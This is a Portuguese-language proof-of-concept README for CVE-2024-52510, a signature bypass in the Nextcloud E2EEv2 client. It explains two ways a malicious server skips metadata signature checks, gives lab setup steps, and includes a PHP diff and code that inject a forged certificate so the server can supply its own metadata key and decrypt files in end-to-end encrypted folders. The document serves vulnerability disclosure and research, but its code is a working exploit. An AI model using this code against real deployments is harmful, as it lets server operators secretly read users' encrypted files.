
Prova de conceito de exploit para CVE-2024-52510 demonstrando bypass de assinatura no protocolo E2EEv2 do Nextcloud, permitindo descriptografia no lado do servidor de arquivos criptografados via injeção de chave de metadados.
Durante a operação normal do protocolo E2EEv2 do Nextcloud, os clientes assinam criptograficamente os metadados da pasta antes de enviá-los ao servidor. Isso garante que os metadados não tenham sido adulterados quando são recuperados novamente para fins de compartilhamento de arquivos ou sincronização de alterações.
A verificação da assinatura é realizada pelo cliente em
foldermetadata.cpp:177
quando os metadados obtidos são inicializados. No entanto, existem duas maneiras pelas quais um servidor malicioso pode contornar essa verificação:
Eles podem responder com um cabeçalho de resposta X-E2EE-SIGNATURE vazio. Como o
cabeçalho está vazio, a condição em
foldermetadata.cpp:168
significa que a verificação da assinatura não ocorre, e os metadados alterados
são aceitos pelo cliente.
Eles podem injetar um certificado no array JSON users e, em seguida, assinar
os metadados com esse certificado. Como CMS_NO_SIGNER_CERT_VERIFY é
passado em
clientsideencryption.cpp:941,
o certificado de assinatura não é verificado em cadeia e o cliente apenas verifica
se o certificado de assinatura está presente no vetor certificatePems
(clientsideencryption.cpp:955-971)
que é controlado pelo servidor.
Nesta POC demonstraremos o último método, pois é o método mais difícil de implementar, no entanto, ambos foram testados e funcionam.
Um servidor malicioso pode usar esse bypass para fornecer aos clientes chaves de metadados conhecidas pelo servidor. Os clientes usarão então essa chave de metadados para criptografar arquivos subsequentes, permitindo que o servidor descriptografe e leia arquivos em pastas criptografadas de ponta a ponta.
Essa forma de explorar o bypass de assinatura é baseada em um ataque encontrado por Albrecht, Backendal, Coppola, Paterson em 2023 (https://eprint.iacr.org/2024/546) em uma versão anterior do protocolo E2EE. De fato, a autenticação das chaves de metadados foi uma estratégia de mitigação para o ataque (veja a seção 5.1 do artigo vinculado).
Clone este repositório e abra no VS Code usando a extensão DevContainer. Um DevContainer baseado no do repositório do servidor Nextcloud foi fornecido com as seguintes alterações:
mitmproxy está presente na porta 7001. A interface web pode ser acessada na porta 7002.encryption e end_to_end_encryption também serão ativados, e uma conta com nome de usuário e senha sharer será criada.Assim que o servidor estiver ativo, conecte-se a ele em http://localhost:8000 (ou através do proxy reverso em http://localhost:7001) usando o cliente mais recente. Atualmente, testei isso no AppImage v3.13.2.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
Quando solicitado, faça login com o nome de usuário sharer e senha sharer. Aceite as opções de sincronização padrão (criando um diretório ~/Nextcloud/ com welcome.txt dentro dele) e configure a criptografia de ponta a ponta nas configurações do cliente Nextcloud.
Crie uma nova pasta encrypted_folder dentro do diretório ~/Nextcloud. Nas configurações do cliente Nextcloud, marque esta pasta como criptografada.

Nextcloud/encrypted_folder, crie um arquivo de texto simples e aguarde a sincronização.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Faça login no banco de dados Postgres no Adminer em http://localhost:8080/ usando as credenciais:
postgrespostgrespostgrese navegue até as tabelas oc_e2e_encryption_metadata e oc_e2e_encryption_decrypted. Você deve conseguir ver os metadados descriptografados e o conteúdo do arquivo em texto claro.

As capturas de tela acima tinham alguns arquivos de teste extras criados e excluídos, portanto, serão um pouco diferentes do que você vê
Este repositório é baseado nos repositórios Nextcloud server e aplicativo de criptografia ponta a ponta. A maior parte do código permanece inalterada, então tentarei dar uma explicação do que foi alterado.
Primeiramente, o método getMetadata de MetaDataStorage.php foi alterado para
adulterar os metadados retornados ao chamar um novo método getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
No método getFakeUserMetadata, primeiro injetamos um certificado escolhido na
chave JSON users. Isso é para facilitar a falsificação de assinatura.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}